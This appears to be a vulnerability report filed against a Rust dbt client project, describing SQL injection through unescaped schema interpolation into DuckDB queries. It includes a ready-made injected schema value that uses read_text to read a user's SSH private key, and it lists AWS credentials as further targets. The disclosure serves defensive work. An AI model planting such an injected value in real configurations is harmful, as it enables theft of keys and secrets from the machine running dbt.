[security] validate SQL Injection in list_relations via Unescaped Schema Interpolation
- Dominant language
- Rust
- Stars
- 13.8k
- Forks
- 2.6k
- Avg merge
- 21h 31m
- Merged PRs (30d)
- 56
Description
SQL Injection in list_relations via Unescaped Schema Interpolation
The list_relations method in both RunnerManagerClient implementations constructs SQL queries by directly interpolating the schema parameter into a format! string with no escaping or parameterization:
let sql = format!(
r#"SELECT table_catalog as database, table_name as name ...
FROM information_schema.tables
WHERE table_schema = '{schema}'"#,
);
This runs against DuckDB, which has no enable_external_access = false or other sandboxing configured anywhere in the codebase. DuckDB supports powerful table functions (read_csv, read_parquet, read_text, glob) that can access the local filesystem when invoked via SQL injection.
Different from Previous Findings
The previously reported vulnerabilities covered get_relation_type and get_columns. This finding covers list_relations, which was NOT previously reported and is present in both the original client.rs and the newly added runner_manager_client.rs.
The schema value originates from dbt node metadata: resolved_state.dbt_profile.schema, node.schema(), or Jinja-rendered +schema overrides in dbt_project.yml — all user-controlled.
Relevant Code
```
crates/dbt-db-client/src/client.rs
crates/dbt-db-client/src/client.rs
let sql = format!(
r#"SELECT
table_catalog as database,
table_name as name,
table_schema as schema,
...
FROM information_schema.tables
WHERE table_schema = '{schema}'"#,
);
```
Attack Details
95% confidence
Attack Vector
The schema value flows from:
dbt_project.yml +schema model configuration
profiles.yml schema: field
Jinja-rendered schema override expressions
These are user-controlled values passed as &str directly into format! SQL construction in both client.rs and runner_manager_client.rs.
Exploit Scenario
Craft a malicious schema name
In dbt_project.yml or a source YAML file, set the schema to inject SQL:
models:
my_project:
+schema: "foo' UNION SELECT read_text('/home/user/.ssh/id_rsa'), NULL, NULL, NULL --"
Trigger list_relations call
Run dbt run or dbt ls with sidecar/service execution mode. The adapter calls list_relations to enumerate available tables.
Observe injected SQL execute
The rendered SQL becomes:
```
SELECT table_catalog as database, ... FROM information_schema.tables
WHERE table_schema = 'foo' UNION SELECT read_text('/home/user/.ssh/id_rsa'), NULL, NULL, NULL --'
DuckDB executes read_text('/home/user/.ssh/id_rsa') and returns the file content in the database column of the result set.
```
Exfiltrate data
Results are parsed as (database, schema, name, rel_type) tuples and returned to the adapter layer. The SSH private key content appears as the first tuple element, observable in logs or error messages.
Impact
Full Filesystem Read
Arbitrary file read for any file accessible to the process running dbt. Since DuckDB runs in-process with no sandboxing, this includes SSH keys, AWS credentials (`~/.aws/credentials`), environment secrets, and any local data files. DuckDB's httpfs extension can further enable outbound data exfiltration to attacker-controlled servers.
Contributor guide
Assessment
This issue has not been assessed yet.